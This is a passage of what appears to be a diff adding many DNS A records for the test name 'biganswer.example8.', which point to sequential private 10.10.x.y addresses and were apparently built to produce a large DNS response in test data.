+biganswer.example8.	3600	IN	A	10.10.34.2
+biganswer.example8.	3600	IN	A	10.10.34.3
+biganswer.example8.	3600	IN	A	10.10.34.4
+biganswer.example8.	3600	IN	A	10.10.34.5
+biganswer.example8.	3600	IN	A	10.10.34.6
+biganswer.example8.	3600	IN	A	10.10.34.7
+biganswer.example8.	3600	IN	A	10.10.34.8
+biganswer.example8.	3600	IN	A	10.10.34.9
+biganswer.example8.	3600	IN	A	10.10.34.10
+biganswer.example8.	3600	IN	A	10.10.34.11
+biganswer.example8.	3600	IN	A	10.10.34.12
+biganswer.example8.	3600	IN	A	10.10.34.13
+biganswer.example8.	3600	IN	A	10.10.34.14
+biganswer.example8.	3600	IN	A	10.10.34.15
+biganswer.example8.	3600	IN	A	10.10.34.16
+biganswer.example8.	3600	IN	A	10.10.34.17
+biganswer.example8.	3600	IN	A	10.10.34.18
+biganswer.example8.	3600	IN	A	10.10.34.19
+biganswer.example8.	3600	IN	A	10.10.34.20
+biganswer.example8.	3600	IN	A	10.10.34.21
+biganswer.example8.	3600	IN	A	10.10.34.22
+biganswer.example8.	3600	IN	A	10.10.34.23
+biganswer.example8.	3600	IN	A	10.10.34.24
+biganswer.example8.	3600	IN	A	10.10.34.25
+biganswer.example8.	3600	IN	A	10.10.34.26
+biganswer.example8.	3600	IN	A	10.10.34.27
+biganswer.example8.	3600	IN	A	10.10.34.28
+biganswer.example8.	3600	IN	A	10.10.34.29
+biganswer.example8.	3600	IN	A	10.10.34.30
+biganswer.example8.	3600	IN	A	10.10.34.31
+biganswer.example8.	3600	IN	A	10.10.34.32
+biganswer.example8.	3600	IN	A	10.10.34.33
+biganswer.example8.	3600	IN	A	10.10.34.34
+biganswer.example8.	3600	IN	A	10.10.34.35
+biganswer.example8.	3600	IN	A	10.10.34.36
+biganswer.example8.	3600	IN	A	10.10.34.37
+biganswer.example8.	3600	IN	A	10.10.34.38
+biganswer.example8.	3600	IN	A	10.10.34.39
+biganswer.example8.	3600	IN	A	10.10.34.40
+biganswer.example8.	3600	IN	A	10.10.34.41
+biganswer.example8.	3600	IN	A	10.10.34.42
+biganswer.example8.	3600	IN	A	10.10.34.43
+biganswer.example8.	3600	IN	A	10.10.34.44
+biganswer.example8.	3600	IN	A	10.10.34.45
+biganswer.example8.	3600	IN	A	10.10.34.46
+biganswer.example8.	3600	IN	A	10.10.34.47
+biganswer.example8.	3600	IN	A	10.10.34.48
+biganswer.example8.	3600	IN	A	10.10.34.49
+biganswer.example8.	3600	IN	A	10.10.34.50
+biganswer.example8.	3600	IN	A	10.10.35.1
+biganswer.example8.	3600	IN	A	10.10.35.2
+biganswer.example8.	3600	IN	A	10.10.35.3
+biganswer.example8.	3600	IN	A	10.10.35.4
+biganswer.example8.	3600	IN	A	10.10.35.5
+biganswer.example8.	3600	IN	A	10.10.35.6
+biganswer.example8.	3600	IN	A	10.10.35.7
+biganswer.example8.	3600	IN	A	10.10.35.8
+biganswer.example8.	3600	IN	A	10.10.35.9
+biganswer.example8.	3600	IN	A	10.10.35.10
+biganswer.example8.	3600	IN	A	10.10.35.11
+biganswer.example8.	3600	IN	A	10.10.35.12
+biganswer.example8.	3600	IN	A	10.10.35.13
+biganswer.example8.	3600	IN	A	10.10.35.14
+biganswer.example8.	3600	IN	A	10.10.35.15
+biganswer.example8.	3600	IN	A	10.10.35.16
+biganswer.example8.	3600	IN	A	10.10.35.17
+biganswer.example8.	3600	IN	A	10.10.35.18
+biganswer.example8.	3600	IN	A	10.10.35.19
+biganswer.example8.	3600	IN	A	10.10.35.20
+biganswer.example8.	3600	IN	A	10.10.35.21
+biganswer.example8.	3600	IN	A	10.10.35.22
+biganswer.example8.	3600	IN	A	10.10.35.23
+biganswer.example8.	3600	IN	A	10.10.35.24
+biganswer.example8.	3600	IN	A	10.10.35.25
+biganswer.example8.	3600	IN	A	10.10.35.26
+biganswer.example8.	3600	IN	A	10.10.35.27
+biganswer.example8.	3600	IN	A	10.10.35.28
+biganswer.example8.	3600	IN	A	10.10.35.29
+biganswer.example8.	3600	IN	A	10.10.35.30
+biganswer.example8.	3600	IN	A	10.10.35.31
+biganswer.example8.	3600	IN	A	10.10.35.32
+biganswer.example8.	3600	IN	A	10.10.35.33
+biganswer.example8.	3600	IN	A	10.10.35.34
+biganswer.example8.	3600	IN	A	10.10.35.35
+biganswer.example8.	3600	IN	A	10.10.35.36
+biganswer.example8.	3600	IN	A	10.10.35.37
+biganswer.example8.	3600	IN	A	10.10.35.38
+biganswer.example8.	3600	IN	A	10.10.35.39
+biganswer.example8.	3600	IN	A	10.10.35.40
+biganswer.example8.	3600	IN	A	10.10.35.41
+biganswer.example8.	3600	IN	A	10.10.35.42
+biganswer.example8.	3600	IN	A	10.10.35.43
+biganswer.example8.	3600	IN	A	10.10.35.44
+biganswer.example8.	3600	IN	A	10.10.35.45
+biganswer.example8.	3600	IN	A	10.10.35.46
+biganswer.example8.	3600	IN	A	10.10.35.47
+biganswer.example8.	3600	IN	A	10.10.35.48
+biganswer.example8.	3600	IN	A	10.10.35.49
+biganswer.example8.	3600	IN	A	10.10.35.50
+biganswer.example8.	3600	IN	A	10.10.36.1
+biganswer.example8.	3600	IN	A	10.10.36.2
+biganswer.example8.	3600	IN	A	10.10.36.3
+biganswer.example8.	3600	IN	A	10.10.36.4
+biganswer.example8.	3600	IN	A	10.10.36.5
+biganswer.example8.	3600	IN	A	10.10.36.6
+biganswer.example8.	3600	IN	A	10.10.36.7
+biganswer.example8.	3600	IN	A	10.10.36.8
+biganswer.example8.	3600	IN	A	10.10.36.9
+biganswer.example8.	3600	IN	A	10.10.36.10
+biganswer.example8.	3600	IN	A	10.10.36.11
+biganswer.example8.	3600	IN	A	10.10.36.12
+biganswer.example8.	3600	IN	A	10.10.36.13
+biganswer.example8.	3600	IN	A	10.10.36.14
+biganswer.example8.	3600	IN	A	10.10.36.15
+biganswer.example8.	3600	IN	A	10.10.36.16
+biganswer.example8.	3600	IN	A	10.10.36.17
+biganswer.example8.	3600	IN	A	10.10.36.18
+biganswer.example8.	3600	IN	A	10.10.36.19
+biganswer.example8.	3600	IN	A	10.10.36.20
+biganswer.example8.	3600	IN	A	10.10.36.21
+biganswer.example8.	3600	IN	A	10.10.36.22
+biganswer.example8.	3600	IN	A	10.10.36.23
+biganswer.example8.	3600	IN	A	10.10.36.24
+biganswer.example8.	3600	IN	A	10.10.36.25
+biganswer.example8.	3600	IN	A	10.10.36.26
+biganswer.example8.	3600	IN	A	10.10.36.27
+biganswer.example8.	3600	IN	A	10.10.36.28
+biganswer.example8.	3600	IN	A	10.10.36.29
+biganswer.example8.	3600	IN	A	10.10.36.30
+biganswer.example8.	3600	IN	A	10.10.36.31
+biganswer.example8.	3600	IN	A	10.10.36.32
+biganswer.example8.	3600	IN	A	10.10.36.33
+biganswer.example8.	3600	IN	A	10.10.36.34
+biganswer.example8.	3600	IN	A	10.10.36.35
+biganswer.example8.	3600	IN	A	10.10.36.36
+biganswer.example8.	3600	IN	A	10.10.36.37
+biganswer.example8.	3600	IN	A	10.10.36.38
+biganswer.example8.	3600	IN	A	10.10.36.39
+biganswer.example8.	3600	IN	A	10.10.36.40
+biganswer.example8.	3600	IN	A	10.10.36.41
+biganswer.example8.	3600	IN	A	10.10.36.42
+biganswer.example8.	3600	IN	A	10.10.36.43
+biganswer.example8.	3600	IN	A	10.10.36.44
+biganswer.example8.	3600	IN	A	10.10.36.45
+biganswer.example8.	3600	IN	A	10.10.36.46
+biganswer.example8.	3600	IN	A	10.10.36.47
+biganswer.example8.	3600	IN	A	10.10.36.48
+biganswer.example8.	3600	IN	A	10.10.36.49
+biganswer.example8.	3600	IN	A	10.10.36.50
+biganswer.example8.	3600	IN	A	10.10.37.1
+biganswer.example8.	3600	IN	A	10.10.37.2
+biganswer.example8.	3600	IN	A	10.10.37.3
+biganswer.example8.	3600	IN	A	10.10.37.4
+biganswer.example8.	3600	IN	A	10.10.37.5
+biganswer.example8.	3600	IN	A	10.10.37.6
+biganswer.example8.	3600	IN	A	10.10.37.7
+biganswer.example8.	3600	IN	A	10.10.37.8
+biganswer.example8.	3600	IN	A	10.10.37.9
+biganswer.example8.	3600	IN	A	10.10.37.10
+biganswer.example8.	3600	IN	A	10.10.37.11
+biganswer.example8.	3600	IN	A	10.10.37.12
+biganswer.example8.	3600	IN	A	10.10.37.13
+biganswer.example8.	3600	IN	A	10.10.37.14
+biganswer.example8.	3600	IN	A	10.10.37.15
+biganswer.example8.	3600	IN	A	10.10.37.16
+biganswer.example8.	3600	IN	A	10.10.37.17
+biganswer.example8.	3600	IN	A	10.10.37.18
+biganswer.example8.	3600	IN	A	10.10.37.19
+biganswer.example8.	3600	IN	A	10.10.37.20
+biganswer.example8.	3600	IN	A	10.10.37.21
+biganswer.example8.	3600	IN	A	10.10.37.22
+biganswer.example8.	3600	IN	A	10.10.37.23
+biganswer.example8.	3600	IN	A	10.10.37.24
+biganswer.example8.	3600	IN	A	10.10.37.25
+biganswer.example8.	3600	IN	A	10.10.37.26
+biganswer.example8.	3600	IN	A	10.10.37.27
+biganswer.example8.	3600	IN	A	10.10.37.28
+biganswer.example8.	3600	IN	A	10.10.37.29
+biganswer.example8.	3600	IN	A	10.10.37.30
+biganswer.example8.	3600	IN	A	10.10.37.31
+biganswer.example8.	3600	IN	A	10.10.37.32
+biganswer.example8.	3600	IN	A	10.10.37.33
+biganswer.example8.	3600	IN	A	10.10.37.34
+biganswer.example8.	3600	IN	A	10.10.37.35
+biganswer.example8.	3600	IN	A	10.10.37.36
+biganswer.example8.	3600	IN	A	10.10.37.37
+biganswer.example8.	3600	IN	A	10.10.37.38
+biganswer.example8.	3600	IN	A	10.10.37.39
+biganswer.example8.	3600	IN	A	10.10.37.40
+biganswer.example8.	3600	IN	A	10.10.37.41
+biganswer.example8.	3600	IN	A	10.10.37.42
+biganswer.example8.	3600	IN	A	10.10.37.43
+biganswer.example8.	3600	IN	A	10.10.37.44
+biganswer.example8.	3600	IN	A	10.10.37.45
+biganswer.example8.	3600	IN	A	10.10.37.46
+biganswer.example8.	3600	IN	A	10.10.37.47
+biganswer.example8.	3600	IN	A	10.10.37.48
+biganswer.example8.	3600	IN	A	10.10.37.49
+biganswer.example8.	3600	IN	A	10.10.37.50
+biganswer.example8.	3600	IN	A	10.10.38.1
+biganswer.example8.	3600	IN	A	10.10.38.2
+biganswer.example8.	3600	IN	A	10.10.38.3
+biganswer.example8.	3600	IN	A	10.10.38.4
+biganswer.example8.	3600	IN	A	10.10.38.5
+biganswer.example8.	3600	IN	A	10.10.38.6
+biganswer.example8.	3600	IN	A	10.10.38.7
+biganswer.example8.	3600	IN	A	10.10.38.8
+biganswer.example8.	3600	IN	A	10.10.38.9
+biganswer.example8.	3600	IN	A	10.10.38.10
+biganswer.example8.	3600	IN	A	10.10.38.11
+biganswer.example8.	3600	IN	A	10.10.38.12
+biganswer.example8.	3600	IN	A	10.10.38.13
+biganswer.example8.	3600	IN	A	10.10.38.14
+biganswer.example8.	3600	IN	A	10.10.38.15
+biganswer.example8.	3600	IN	A	10.10.38.16
+biganswer.example8.	3600	IN	A	10.10.38.17
+biganswer.example8.	3600	IN	A	10.10.38.18
+biganswer.example8.	3600	IN	A	10.10.38.19
+biganswer.example8.	3600	IN	A	10.10.38.20
+biganswer.example8.	3600	IN	A	10.10.38.21
+biganswer.example8.	3600	IN	A	10.10.38.22
+biganswer.example8.	3600	IN	A	10.10.38.23
+biganswer.example8.	3600	IN	A	10.10.38.24
+biganswer.example8.	3600	IN	A	10.10.38.25
+biganswer.example8.	3600	IN	A	10.10.38.26
+biganswer.example8.	3600	IN	A	10.10.38.27
+biganswer.example8.	3600	IN	A	10.10.38.28
+biganswer.example8.	3600	IN	A	10.10.38.29
+biganswer.example8.	3600	IN	A	10.10.38.30
+biganswer.example8.	3600	IN	A	10.10.38.31
+biganswer.example8.	3600	IN	A	10.10.38.32
+biganswer.example8.	3600	IN	A	10.10.38.33
+biganswer.example8.	3600	IN	A	10.10.38.34
+biganswer.example8.	3600	IN	A	10.10.38.35
+biganswer.example8.	3600	IN	A	10.10.38.36
+biganswer.example8.	3600	IN	A	10.10.38.37
+biganswer.example8.	3600	IN	A	10.10.38.38
+biganswer.example8.	3600	IN	A	10.10.38.39
+biganswer.example8.	3600	IN	A	10.10.38.40
+biganswer.example8.	3600	IN	A	10.10.38.41
+biganswer.example8.	3600	IN	A	10.10.38.42
+biganswer.example8.	3600	IN	A	10.10.38.43
+biganswer.example8.	3600	IN	A	10.10.38.44
+biganswer.example8.	3600	IN	A	10.10.38.45
+biganswer.example8.	3600	IN	A	10.10.38.46
+biganswer.example8.	3600	IN	A	10.10.38.47
+biganswer.example8.	3600	IN	A	10.10.38.48
+biganswer.example8.	3600	IN	A	10.10.38.49
+biganswer.example8.	3600	IN	A	10.10.38.50
+biganswer.example8.	3600	IN	A	10.10.39.1
+biganswer.example8.	3600	IN	A	10.10.39.2
+biganswer.example8.	3600	IN	A	10.10.39.3
+biganswer.example8.	3600	IN	A	10.10.39.4
+biganswer.example8.	3600	IN	A	10.10.39.5
+biganswer.example8.	3600	IN	A	10.10.39.6
+biganswer.example8.	3600	IN	A	10.10.39.7
+biganswer.example8.	3600	IN	A	10.10.39.8
+biganswer.example8.	3600	IN	A	10.10.39.9
+biganswer.example8.	3600	IN	A	10.10.39.10
+biganswer.example8.	3600	IN	A	10.10.39.11
+biganswer.example8.	3600	IN	A	10.10.39.12
+biganswer.example8.	3600	IN	A	10.10.39.13
+biganswer.example8.	3600	IN	A	10.10.39.14
+biganswer.example8.	3600	IN	A	10.10.39.15
+biganswer.example8.	3600	IN	A	10.10.39.16
+biganswer.example8.	3600	IN	A	10.10.39.17
+biganswer.example8.	3600	IN	A	10.10.39.18
+biganswer.example8.	3600	IN	A	10.10.39.19
+biganswer.example8.	3600	IN	A	10.10.39.20
+biganswer.example8.	3600	IN	A	10.10.39.21
+biganswer.example8.	3600	IN	A	10.10.39.22
+biganswer.example8.	3600	IN	A	10.10.39.23
+biganswer.example8.	3600	IN	A	10.10.39.24
+biganswer.example8.	3600	IN	A	10.10.39.25
+biganswer.example8.	3600	IN	A	10.10.39.26
+biganswer.example8.	3600	IN	A	10.10.39.27
+biganswer.example8.	3600	IN	A	10.10.39.28
+biganswer.example8.	3600	IN	A	10.10.39.29
+biganswer.example8.	3600	IN	A	10.10.39.30
+biganswer.example8.	3600	IN	A	10.10.39.31
+biganswer.example8.	3600	IN	A	10.10.39.32
+biganswer.example8.	3600	IN	A	10.10.39.33
+biganswer.example8.	3600	IN	A	10.10.39.34
+biganswer.example8.	3600	IN	A	10.10.39.35
+biganswer.example8.	3600	IN	A	10.10.39.36
+biganswer.example8.	3600	IN	A	10.10.39.37
+biganswer.example8.	3600	IN	A	10.10.39.38
+biganswer.example8.	3600	IN	A	10.10.39.39
+biganswer.example8.	3600	IN	A	10.10.39.40
+biganswer.example8.	3600	IN	A	10.10.39.41
+biganswer.example8.	3600	IN	A	10.10.39.42
+biganswer.example8.	3600	IN	A	10.10.39.43
+biganswer.example8.	3600	IN	A	10.10.39.44
+biganswer.example8.	3600	IN	A	10.10.39.45
+biganswer.example8.	3600	IN	A	10.10.39.46
+biganswer.example8.	3600	IN	A	10.10.39.47
+biganswer.example8.	3600	IN	A	10.10.39.48
+biganswer.example8.	3600	IN	A	10.10.39.49
+biganswer.example8.	3600	IN	A	10.10.39.50
+biganswer.example8.	3600	IN	A	10.10.40.1
+biganswer.example8.	3600	IN	A	10.10.40.2
+biganswer.example8.	3600	IN	A	10.10.40.3
+biganswer.example8.	3600	IN	A	10.10.40.4
+biganswer.example8.	3600	IN	A	10.10.40.5
+biganswer.example8.	3600	IN	A	10.10.40.6
+biganswer.example8.	3600	IN	A	10.10.40.7
+biganswer.example8.	3600	IN	A	10.10.40.8
+biganswer.example8.	3600	IN	A	10.10.40.9
+biganswer.example8.	3600	IN	A	10.10.40.10
+biganswer.example8.	3600	IN	A	10.10.40.11
+biganswer.example8.	3600	IN	A	10.10.40.12
+biganswer.example8.	3600	IN	A	10.10.40.13
+biganswer.example8.	3600	IN	A	10.10.40.14
+biganswer.example8.	3600	IN	A	10.10.40.15
+biganswer.example8.	3600	IN	A	10.10.40.16
+biganswer.example8.	3600	IN	A	10.10.40.17
+biganswer.example8.	3600	IN	A	10.10.40.18
+biganswer.example8.	3600	IN	A	10.10.40.19
+biganswer.example8.	3600	IN	A	10.10.40.20
+biganswer.example8.	3600	IN	A	10.10.40.21
+biganswer.example8.	3600	IN	A	10.10.40.22
+biganswer.example8.	3600	IN	A	10.10.40.23
+biganswer.example8.	3600	IN	A	10.10.40.24
+biganswer.example8.	3600	IN	A	10.10.40.25
+biganswer.example8.	3600	IN	A	10.10.40.26
+biganswer.example8.	3600	IN	A	10.10.40.27
+biganswer.example8.	3600	IN	A	10.10.40.28
+biganswer.example8.	3600	IN	A	10.10.40.29
+biganswer.example8.	3600	IN	A	10.10.40.30
+biganswer.example8.	3600	IN	A	10.10.40.31
+biganswer.example8.	3600	IN	A	10.10.40.32
+biganswer.example8.	3600	IN	A	10.10.40.33
+biganswer.example8.	3600	IN	A	10.10.40.34
+biganswer.example8.	3600	IN	A	10.10.40.35
+biganswer.example8.	3600	IN	A	10.10.40.36
+biganswer.example8.	3600	IN	A	10.10.40.37
+biganswer.example8.	3600	IN	A	10.10.40.38
+biganswer.example8.	3600	IN	A	10.10.40.39
+biganswer.example8.	3600	IN	A	10.10.40.40
+biganswer.example8.	3600	IN	A	10.10.40.41
+biganswer.example8.	3600	IN	A	10.10.40.42
+biganswer.example8.	3600	IN	A	10.10.40.43
+biganswer.example8.	3600	IN	A	10.10.40.44
+biganswer.example8.	3600	IN	A	10.10.40.45
+biganswer.example8.	3600	IN	A	10.10.40.46
+biganswer.example8.	3600	IN	A	10.10.40.47
+biganswer.example8.	3600	IN	A	10.10.40.48
+biganswer.example8.	3600	IN	A	10.10.40.49
+biganswer.example8.	3600	IN	A	10.10.40.50
+biganswer.example8.	3600	IN	A	10.10.41.1
+biganswer.example8.	3600	IN	A	10.10.41.2
+biganswer.example8.	3600	IN	A	10.10.41.3
+biganswer.example8.	3600	IN	A	10.10.41.4
+biganswer.example8.	3600	IN	A	10.10.41.5
+biganswer.example8.	3600	IN	A	10.10.41.6
+biganswer.example8.	3600	IN	A	10.10.41.7
+biganswer.example8.	3600	IN	A	10.10.41.8
+biganswer.example8.	3600	IN	A	10.10.41.9
+biganswer.example8.	3600	IN	A	10.10.41.10
+biganswer.example8.	3600	IN	A	10.10.41.11
+biganswer.example8.	3600	IN	A	10.10.41.12
+biganswer.example8.	3600	IN	A	10.10.41.13
+biganswer.example8.	3600	IN	A	10.10.41.14
+biganswer.example8.	3600	IN	A	10.10.41.15
+biganswer.example8.	3600	IN	A	10.10.41.16
+biganswer.example8.	3600	IN	A	10.10.41.17
+biganswer.example8.	3600	IN	A	10.10.41.18
+biganswer.example8.	3600	IN	A	10.10.41.19
+biganswer.example8.	3600	IN	A	10.10.41.20
+biganswer.example8.	3600	IN	A	10.10.41.21
+biganswer.example8.	3600	IN	A	10.10.41.22
+biganswer.example8.	3600	IN	A	10.10.41.23
+biganswer.example8.	3600	IN	A	10.10.41.24
+biganswer.example8.	3600	IN	A	10.10.41.25
+biganswer.example8.	3600	IN	A	10.10.41.26
+biganswer.example8.	3600	IN	A	10.10.41.27
+biganswer.example8.	3600	IN	A	10.10.41.28
+biganswer.example8.	3600	IN	A	10.10.41.29
+biganswer.example8.	3600	IN	A	10.10.41.30
+biganswer.example8.	3600	IN	A	10.10.41.31
+biganswer.example8.	3600	IN	A	10.10.41.32
+biganswer.example8.	3600	IN	A	10.10.41.33
+biganswer.example8.	3600	IN	A	10.10.41.34
+biganswer.example8.	3600	IN	A	10.10.41.35
+biganswer.example8.	3600	IN	A	10.10.41.36
+biganswer.example8.	3600	IN	A	10.10.41.37
+biganswer.example8.	3600	IN	A	10.10.41.38
+biganswer.example8.	3600	IN	A	10.10.41.39
+biganswer.example8.	3600	IN	A	10.10.41.40
+biganswer.example8.	3600	IN	A	10.10.41.41
+biganswer.example8.	3600	IN	A	10.10.41.42
+biganswer.example8.	3600	IN	A	10.10.41.43
+biganswer.example8.	3600	IN	A	10.10.41.44
+biganswer.example8.	3600	IN	A	10.10.41.45
+biganswer.example8.	3600	IN	A	10.10.41.46
+biganswer.example8.	3600	IN	A	10.10.41.47
+biganswer.example8.	3600	IN	A	10.10.41.48
+biganswer.example8.	3600	IN	A	10.10.41.49
+biganswer.example8.	3600	IN	A	10.10.41.50
+biganswer.example8.	3600	IN	A	10.10.42.1
+biganswer.example8.	3600	IN	A	10.10.42.2
+biganswer.example8.	3600	IN	A	10.10.42.3
+biganswer.example8.	3600	IN	A	10.10.42.4
+biganswer.example8.	3600	IN	A	10.10.42.5
+biganswer.example8.	3600	IN	A	10.10.42.6
+biganswer.example8.	3600	IN	A	10.10.42.7
+biganswer.example8.	3600	IN	A	10.10.42.8
+biganswer.example8.	3600	IN	A	10.10.42.9
+biganswer.example8.	3600	IN	A	10.10.42.10
+biganswer.example8.	3600	IN	A	10.10.42.11
+biganswer.example8.	3600	IN	A	10.10.42.12
+biganswer.example8.	3600	IN	A	10.10.42.13
+biganswer.example8.	3600	IN	A	10.10.42.14
+biganswer.example8.	3600	IN	A	10.10.42.15
+biganswer.example8.	3600	IN	A	10.10.42.16
+biganswer.example8.	3600	IN	A	10.10.42.17
+biganswer.example8.	3600	IN	A	10.10.42.18
+biganswer.example8.	3600	IN	A	10.10.42.19
+biganswer.example8.	3600	IN	A	10.10.42.20
+biganswer.example8.	3600	IN	A	10.10.42.21
+biganswer.example8.	3600	IN	A	10.10.42.22
+biganswer.example8.	3600	IN	A	10.10.42.23
+biganswer.example8.	3600	IN	A	10.10.42.24
+biganswer.example8.	3600	IN	A	10.10.42.25
+biganswer.example8.	3600	IN	A	10.10.42.26
+biganswer.example8.	3600	IN	A	10.10.42.27
+biganswer.example8.	3600	IN	A	10.10.42.28
+biganswer.example8.	3600	IN	A	10.10.42.29
+biganswer.example8.	3600	IN	A	10.10.42.30
+biganswer.example8.	3600	IN	A	10.10.42.31
+biganswer.example8.	3600	IN	A	10.10.42.32
+biganswer.example8.	3600	IN	A	10.10.42.33
+biganswer.example8.	3600	IN	A	10.10.42.34
+biganswer.example8.	3600	IN	A	10.10.42.35
+biganswer.example8.	3600	IN	A	10.10.42.36
+biganswer.example8.	3600	IN	A	10.10.42.37
+biganswer.example8.	3600	IN	A	10.10.42.38
+biganswer.example8.	3600	IN	A	10.10.42.39
+biganswer.example8.	3600	IN	A	10.10.42.40
+biganswer.example8.	3600	IN	A	10.10.42.41
+biganswer.example8.	3600	IN	A	10.10.42.42
+biganswer.example8.	3600	IN	A	10.10.42.43
+biganswer.example8.	3600	IN	A	10.10.42.44
+biganswer.example8.	3600	IN	A	10.10.42.45
+biganswer.example8.	3600	IN	A	10.10.42.46
+biganswer.example8.	3600	IN	A	10.10.42.47
+biganswer.example8.	3600	IN	A	10.10.42.48
+biganswer.example8.	3600	IN	A	10.10.42.49
+biganswer.example8.	3600	IN	A	10.10.42.50
+biganswer.example8.	3600	IN	A	10.10.43.1
+biganswer.example8.	3600	IN	A	10.10.43.2
+biganswer.example8.	3600	IN	A	10.10.43.3
+biganswer.example8.	3600	IN	A	10.10.43.4
+biganswer.example8.	3600	IN	A	10.10.43.5
+biganswer.example8.	3600	IN	A	10.10.43.6
+biganswer.example8.	3600	IN	A	10.10.43.7
+biganswer.example8.	3600	IN	A	10.10.43.8
+biganswer.example8.	3600	IN	A	10.10.43.9
+biganswer.example8.	3600	IN	A	10.10.43.10
+biganswer.example8.	3600	IN	A	10.10.43.11
+biganswer.example8.	3600	IN	A	10.10.43.12
+biganswer.example8.	3600	IN	A	10.10.43.13
+biganswer.example8.	3600	IN	A	10.10.43.14
+biganswer.example8.	3600	IN	A	10.10.43.15
+biganswer.example8.	3600	IN	A	10.10.43.16
+biganswer.example8.	3600	IN	A	10.10.43.17
+biganswer.example8.	3600	IN	A	10.10.43.18
+biganswer.example8.	3600	IN	A	10.10.43.19
+biganswer.example8.	3600	IN	A	10.10.43.20
+biganswer.example8.	3600	IN	A	10.10.43.21
+biganswer.example8.	3600	IN	A	10.10.43.22
+biganswer.example8.	3600	IN	A	10.10.43.23
+biganswer.example8.	3600	IN	A	10.10.43.24
+biganswer.example8.	3600	IN	A	10.10.43.25
+biganswer.example8.	3600	IN	A	10.10.43.26
+biganswer.example8.	3600	IN	A	10.10.43.27
+biganswer.example8.	3600	IN	A	10.10.43.28
+biganswer.example8.	3600	IN	A	10.10.43.29
+biganswer.example8.	3600	IN	A	10.10.43.30
+biganswer.example8.	3600	IN	A	10.10.43.31
+biganswer.example8.	3600	IN	A	10.10.43.32
+biganswer.example8.	3600	IN	A	10.10.43.33
+biganswer.example8.	3600	IN	A	10.10.43.34
+biganswer.example8.	3600	IN	A	10.10.43.35
+biganswer.example8.	3600	IN	A	10.10.43.36
+biganswer.example8.	3600	IN	A	10.10.43.37
+biganswer.example8.	3600	IN	A	10.10.43.38
+biganswer.example8.	3600	IN	A	10.10.43.39
+biganswer.example8.	3600	IN	A	10.10.43.40
+biganswer.example8.	3600	IN	A	10.10.43.41
+biganswer.example8.	3600	IN	A	10.10.43.42
+biganswer.example8.	3600	IN	A	10.10.43.43
+biganswer.example8.	3600	IN	A	10.10.43.44
+biganswer.example8.	3600	IN	A	10.10.43.45
+biganswer.example8.	3600	IN	A	10.10.43.46
+biganswer.example8.	3600	IN	A	10.10.43.47
+biganswer.example8.	3600	IN	A	10.10.43.48
+biganswer.example8.	3600	IN	A	10.10.43.49
+biganswer.example8.	3600	IN	A	10.10.43.50
+biganswer.example8.	3600	IN	A	10.10.44.1
+biganswer.example8.	3600	IN	A	10.10.44.2
+biganswer.example8.	3600	IN	A	10.10.44.3
+biganswer.example8.	3600	IN	A	10.10.44.4
+biganswer.example8.	3600	IN	A	10.10.44.5
+biganswer.example8.	3600	IN	A	10.10.44.6
+biganswer.example8.	3600	IN	A	10.10.44.7
+biganswer.example8.	3600	IN	A	10.10.44.8
+biganswer.example8.	3600	IN	A	10.10.44.9
+biganswer.example8.	3600	IN	A	10.10.44.10
+biganswer.example8.	3600	IN	A	10.10.44.11
+biganswer.example8.	3600	IN	A	10.10.44.12
+biganswer.example8.	3600	IN	A	10.10.44.13
+biganswer.example8.	3600	IN	A	10.10.44.14
+biganswer.example8.	3600	IN	A	10.10.44.15
+biganswer.example8.	3600	IN	A	10.10.44.16
+biganswer.example8.	3600	IN	A	10.10.44.17
+biganswer.example8.	3600	IN	A	10.10.44.18
+biganswer.example8.	3600	IN	A	10.10.44.19
+biganswer.example8.	3600	IN	A	10.10.44.20
+biganswer.example8.	3600	IN	A	10.10.44.21
+biganswer.example8.	3600	IN	A	10.10.44.22
+biganswer.example8.	3600	IN	A	10.10.44.23
+biganswer.example8.	3600	IN	A	10.10.44.24
+biganswer.example8.	3600	IN	A	10.10.44.25
+biganswer.example8.	3600	IN	A	10.10.44.26
+biganswer.example8.	3600	IN	A	10.10.44.27
+biganswer.example8.	3600	IN	A	10.10.44.28
+biganswer.example8.	3600	IN	A	10.10.44.29
+biganswer.example8.	3600	IN	A	10.10.44.30
+biganswer.example8.	3600	IN	A	10.10.44.31
+biganswer.example8.	3600	IN	A	10.10.44.32
+biganswer.example8.	3600	IN	A	10.10.44.33
+biganswer.example8.	3600	IN	A	10.10.44.34
+biganswer.example8.	3600	IN	A	10.10.44.35
+biganswer.example8.	3600	IN	A	10.10.44.36
+biganswer.example8.	3600	IN	A	10.10.44.37
+biganswer.example8.	3600	IN	A	10.10.44.38
+biganswer.example8.	3600	IN	A	10.10.44.39
+biganswer.example8.	3600	IN	A	10.10.44.40
+biganswer.example8.	3600	IN	A	10.10.44.41
+biganswer.example8.	3600	IN	A	10.10.44.42
+biganswer.example8.	3600	IN	A	10.10.44.43
+biganswer.example8.	3600	IN	A	10.10.44.44
+biganswer.example8.	3600	IN	A	10.10.44.45
+biganswer.example8.	3600	IN	A	10.10.44.46
+biganswer.example8.	3600	IN	A	10.10.44.47
+biganswer.example8.	3600	IN	A	10.10.44.48
+biganswer.example8.	3600	IN	A	10.10.44.49
+biganswer.example8.	3600	IN	A	10.10.44.50
+biganswer.example8.	3600	IN	A	10.10.45.1
+biganswer.example8.	3600	IN	A	10.10.45.2
+biganswer.example8.	3600	IN	A	10.10.45.3
+biganswer.example8.	3600	IN	A	10.10.45.4
+biganswer.example8.	3600	IN	A	10.10.45.5
+biganswer.example8.	3600	IN	A	10.10.45.6
+biganswer.example8.	3600	IN	A	10.10.45.7
+biganswer.example8.	3600	IN	A	10.10.45.8
+biganswer.example8.	3600	IN	A	10.10.45.9
+biganswer.example8.	3600	IN	A	10.10.45.10
+biganswer.example8.	3600	IN	A	10.10.45.11
+biganswer.example8.	3600	IN	A	10.10.45.12
+biganswer.example8.	3600	IN	A	10.10.45.13
+biganswer.example8.	3600	IN	A	10.10.45.14
+biganswer.example8.	3600	IN	A	10.10.45.15
+biganswer.example8.	3600	IN	A	10.10.45.16
+biganswer.example8.	3600	IN	A	10.10.45.17
+biganswer.example8.	3600	IN	A	10.10.45.18
+biganswer.example8.	3600	IN	A	10.10.45.19
+biganswer.example8.	3600	IN	A	10.10.45.20
+biganswer.example8.	3600	IN	A	10.10.45.21
+biganswer.example8.	3600	IN	A	10.10.45.22
+biganswer.example8.	3600	IN	A	10.10.45.23
+biganswer.example8.	3600	IN	A	10.10.45.24
+biganswer.example8.	3600	IN	A	10.10.45.25
+biganswer.example8.	3600	IN	A	10.10.45.26
+biganswer.example8.	3600	IN	A	10.10.45.27
